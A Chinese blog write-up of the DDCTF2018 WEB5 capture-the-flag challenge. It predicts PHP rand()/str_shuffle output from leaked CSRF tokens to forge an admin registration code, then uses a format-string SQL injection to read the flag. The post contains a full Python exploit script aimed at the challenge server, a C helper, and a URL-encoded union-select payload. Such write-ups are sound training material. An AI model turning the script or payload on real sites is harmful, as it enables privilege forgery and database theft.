根据提示下载到了备份文件

只有三个文件。根据代码逻辑,注册时候,需要得到$admin才能注册成管理员权限。

看到一则文章:https://xz.aliyun.com/t/1520

题目十分相似,修改了之前的考点,换成了预测随机数,根据http response headers可以得到,服务器的环境是Debian,php5.6.13。

根据很多研究人员的文章可以得到Linux平台上的rand()的结果其实是可以预测的

其公式为:rand[n] = rand[n-3] + rand[n-31] mod getrandmax()

很像斐波那契数列…

PS:getrandmax()为PHP的函数,用来获取最大的随机数

 

我们来阅读一下实现str_shuffle 的PHP的内核源码(ext\standard\string.c):

static void php_string_shuffle(char *str, long len TSRMLS_DC) /* {{{ */
{
	long n_elems, rnd_idx, n_left;
	char temp;
	/* The implementation is stolen from array_data_shuffle       */
	/* Thus the characteristics of the randomization are the same */
	n_elems = len;

	if (n_elems <= 1) {
		return;
	}

	n_left = n_elems;

	while (--n_left) {
		rnd_idx = php_rand(TSRMLS_C);
		RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
		if (rnd_idx != n_left) {
			temp = str[n_left];
			str[n_left] = str[rnd_idx];
			str[rnd_idx] = temp;
		}
	}
}

再来看看rand函数的源码:

PHP_FUNCTION(rand)
{
	long min;
	long max;
	long number;
	int  argc = ZEND_NUM_ARGS();
        if (argc != 0 && zend_parse_parameters(argc TSRMLS_CC, "ll", &min, &max) == FAILURE){
           return;
        }
   number = php_rand(TSRMLS_C);
   if (argc == 2) {
       RAND_RANGE(number, min, max, PHP_RAND_MAX);
   }
   RETURN_LONG(number);
}

其实不难发现str_shuffle 就是调用的rand()函数,并且通过宏RAND_RANGE来对结果进行了运算,返回了字符串长度范围内的值,其实这也就是rand(n,m)的逻辑,然后从末位开始依次随机选取字符串并且替换。

所以通关逻辑已经理清了,通过GET注册页面获取前三十二位csrf值(rand()生成的),就可以预测出后面所有的值,我们可以用python来重新实现下str_shuffle逻辑。以下为我的代码,因为脚本语言和C的(double)精度不一样,所以我用了C写了个转换工具,然后python来调用取得返回值,看其他过了的大佬们都说其实把这些强制类型转化的部分去掉就行了。。。

值得注意的地方有,Connection得keep-alive,这样才能保证生成rand()的连续性,而且经过手工测试还发现个坑,就是当两次请求时间差大于3S左右的时候,rand()所生成的数值连续性也会断掉。

 

import requests
import random
import re
import os

url = "http://116.85.39.110:5032/faeadb70155baee2663eaab6fe159d3c/login.php"
Signup = "http://116.85.39.110:5032/faeadb70155baee2663eaab6fe159d3c/register.php"


S = requests.session()
headers = {"Connection": "keep-alive",}
arry = []

def GetCode(arr,str):
    n = -1;
    n_elems = len(str)
    if (n_elems <= 1):
        return
    n_left = n_elems
    while (n_left):
        n += 1
        n_left -= 1
        rnd_idx = arr[n]
        rnd_idx = int(RAND_RANGE(int(rnd_idx), 0, n_elems-1, getrandmax()))
        if (rnd_idx != n_left):
            temp = str[n_left]
            str = str[:n_left]+str[rnd_idx]+str[n_left+1:]
            str = str[:rnd_idx]+temp+str[rnd_idx+1:]
    return str

def RAND_RANGE(__n, __min, __max, __tmax):

    return (__min) + (((__max) - (__min) + 1.0) *((__n) / ((__tmax) + 1.0)))

def getrandmax():
    return 2147483647


while True:
    arry = []

    for i in xrange(32):
        while True:
            try:
                res = S.get(Signup,headers=headers)
                break
            except:
                continue
        csrf = re.findall(r'id="csrf" value="(.*?)" ',res.text)[0]
        arry.append(int(csrf))
    print arry

    csrf = csrf
    n = 31
    brry = []
    print
    for n in range(32,32+63):
        arry.append(int((arry[n-3] + arry[n-31])%2147483647))
        brry.append(int((arry[n-3] + arry[n-31])%2147483647))

    print arry
    print str(brry).replace(" ","")[1:-1]
    result = os.popen(r"E:\\crack.exe %s"%(str(brry).replace(" ","")[1:-1]))
    a = result.read()
    code = re.findall(r"\n(.+?)\n",a)[0]
    print code

    code = "admin###" + code[:32]
    print code
    username = str(random.randint(1,100000000000))
    print username
    data = {
        "username":username,
        "password":"123456",
        "code":code,
        "csrf":csrf,
    }

    res = S.post(Signup,data=data,headers=headers)
    if "error" in res.text:
        continue
    print res.text
    res = S.get(url)

    csrf = re.findall(r'id="csrf" value="(.*?)" ', res.text)[0]
    data = {
        'username':username,
        'password':"123456",
        'csrf':csrf,
    }
    res = S.post(url,data=data)
    print res.text
    if "You are not admin" in res.text:
        continue

    print "Get Flag!"
    print username
    break

Crack.cpp

// crack.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "string.h"
#include "stdio.h"

#define RAND_RANGE(__n, __min, __max, __tmax) \
(__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
#define PHP_RAND_MAX 2147483647


int main(int argc, char* argv[])
{	

	long a[128];
	char in[1024];
	const char * split = ",";
	strcpy(in, argv[1]);
	char * p;
	p = strtok (in,split);
	int m = 0;
	while(p!=NULL) {
		a[m]=atoi(p); 
		p = strtok(NULL,split);
		m++;
	}

	char str[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
	long n_elems, rnd_idx, n_left;
	char temp;
	
	n_elems = strlen(str);
	
	n_left = n_elems;
	long n = 0;
	while (--n_left) {
		rnd_idx = a[n];
		RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
		if (rnd_idx != n_left) {
			temp = str[n_left];
			str[n_left] = str[rnd_idx];
			str[rnd_idx] = temp;
		}
		n++;
	}
	
	printf("\n%s\n",str);

	system("pause");
	return 0;
}

啊,就获得了管理员账号密码,进入后台后,即可利用格式化注入,获取到flag。

相关操作:https://www.cnblogs.com/test404/p/7821884.html

flag就在数据库里面,payload:

index.php?id=%1$%27%20and%201=1%23&title=%1$%27%20union%20select%201,(SELECT(@x)FROM(SELECT(@x:=0x00)%20,(SELECT(@x)FROM(faeadb70.key)WHERE(@x)IN(@x:=CONCAT(0x20,@x,f14g,0x3c62723e))))x),3%23

 

 

 





本文链接地址: DDCTF2018 WEB5 我的博客 WRITEUP

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.